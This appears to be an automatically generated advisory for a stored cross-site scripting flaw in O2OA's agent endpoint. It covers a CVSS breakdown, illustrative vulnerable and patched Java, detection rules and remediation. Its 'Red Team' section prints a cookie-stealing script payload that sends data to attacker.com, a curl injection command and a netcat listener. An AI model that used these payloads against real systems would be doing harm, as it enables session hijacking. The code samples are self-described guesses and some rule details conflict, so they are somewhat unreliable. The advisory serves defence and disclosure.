CVE-2025-9681
Executive Summary
CVE-2025-9681 is a stored cross-site scripting (XSS) vulnerability in O2OA versions up to and including 10.0-410. The flaw resides in the /x_program_center/jaxrs/agent endpoint, part of the Personal Profile Page component. An attacker can inject malicious scripts via the agent functionality, which are then stored and executed in the context of other users' browsers when they view the affected page. The attack is remotely exploitable with low complexity, requiring only user interaction (e.g., clicking a link). The CVSS score is 3.5 (Low), but the public availability of an exploit increases the risk. The vendor has acknowledged the issue and stated it will be fixed in a future release.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 3.5 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a link or visit a page.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No denial of service.
Threat Level: Low. The low CVSS score and required user interaction reduce the immediate risk, but the public exploit and lack of patch make it a credible threat for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the O2OA platform's agent management interface. The /x_program_center/jaxrs/agent endpoint accepts user input for agent configuration (e.g., name, description, script content) without proper sanitization or output encoding. When an administrator or user views the agent list or details, the injected script executes in their browser.
Attack Flow:
- Attacker sends a POST request to
/x_program_center/jaxrs/agentwith a malicious payload in a field likenameordescription. - The server stores the payload in the database.
- Victim (e.g., another admin) navigates to the agent management page.
- The server returns the stored payload without encoding.
- The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.
Root Cause: Lack of input validation and output encoding in the agent creation/editing functionality.
Vulnerable vs. Patched Code
Vulnerable Code (O2OA <= 10.0-410):
// AgentService.java (simplified)
public Response createAgent(Agent agent) {
// No sanitization of agent fields
agentDao.save(agent);
return Response.ok().build();
}
// AgentView.java (simplified)
public String renderAgent(Agent agent) {
// Directly outputs user input without encoding
return "<div>" + agent.getName() + "</div>";
}
Patched Code (Expected fix):
// AgentService.java (patched)
public Response createAgent(Agent agent) {
// Sanitize input using a library like OWASP Java HTML Sanitizer
agent.setName(Sanitizer.sanitize(agent.getName()));
agent.setDescription(Sanitizer.sanitize(agent.getDescription()));
agentDao.save(agent);
return Response.ok().build();
}
// AgentView.java (patched)
public String renderAgent(Agent agent) {
// Encode output for HTML context
return "<div>" + HtmlUtils.htmlEscape(agent.getName()) + "</div>";
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- O2OA instance (version <= 10.0-410) accessible over network.
- No authentication required for the agent endpoint (or low-privilege account).
Exploit Steps:
- Identify the target endpoint:
POST /x_program_center/jaxrs/agent - Craft a malicious payload. Example using JavaScript to steal cookies:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Send the request:
curl -X POST http://target.o2oa.com/x_program_center/jaxrs/agent \ -H "Content-Type: application/json" \ -d '{"name": "<script>document.location=\"http://attacker.com/steal?cookie=\"+document.cookie</script>", "description": "test"}' - Wait for an admin to view the agent list. The script executes, sending the cookie to the attacker's server.
Lab Setup:
- Use Docker to deploy a vulnerable O2OA instance:
docker run -d -p 80:80 o2oa/o2oa:10.0-410 - Set up a listener on attacker machine:
nc -lvnp 80
Blue Team (Detection & Response)
Detection:
- Monitor for POST requests to
/x_program_center/jaxrs/agentcontaining HTML/JavaScript in JSON fields. - Look for outbound connections to unknown domains from the O2OA server.
- Analyze web server logs for unusual characters in agent names/descriptions.
Response:
- Isolate the affected O2OA server.
- Review agent entries for malicious content and remove them.
- Apply the vendor patch once available.
- Rotate any credentials that may have been exposed.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/x_program_center/jaxrs/agentwith<script>tags in the body. - Outbound HTTP requests to attacker-controlled domains from the O2OA server.
- POST requests to
- File System:
- Log entries in O2OA logs showing unescaped HTML in agent fields.
- Behavioral:
- Unexpected redirects or pop-ups in the O2OA admin interface.
- Unauthorized changes to agent configurations.
Detection Engineering
YARA Rule
rule CVE_2025_9681_O2OA_XSS {
meta:
description = "Detects malicious payloads targeting CVE-2025-9681 in O2OA"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9681"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$agent_endpoint = "/x_program_center/jaxrs/agent"
condition:
$agent_endpoint and $xss_payload
}
Sigma Rule
title: CVE-2025-9681 O2OA Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to O2OA agent endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/x_program_center/jaxrs/agent'
cs-uri-query|contains:
- '<script'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in agent descriptions (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-9681 O2OA Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/x_program_center/jaxrs/agent"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Apply the vendor patch once released (version > 10.0-410).
- Workaround: If patching is not possible, restrict access to the
/x_program_center/jaxrs/agentendpoint using a WAF or network ACL. - Input Validation: Implement server-side input sanitization for all agent fields.
- Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
Long-term Measures:
- Conduct a security audit of the O2OA application.
- Implement Content Security Policy (CSP) headers to mitigate XSS.
- Train developers on secure coding practices (OWASP Top 10).
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.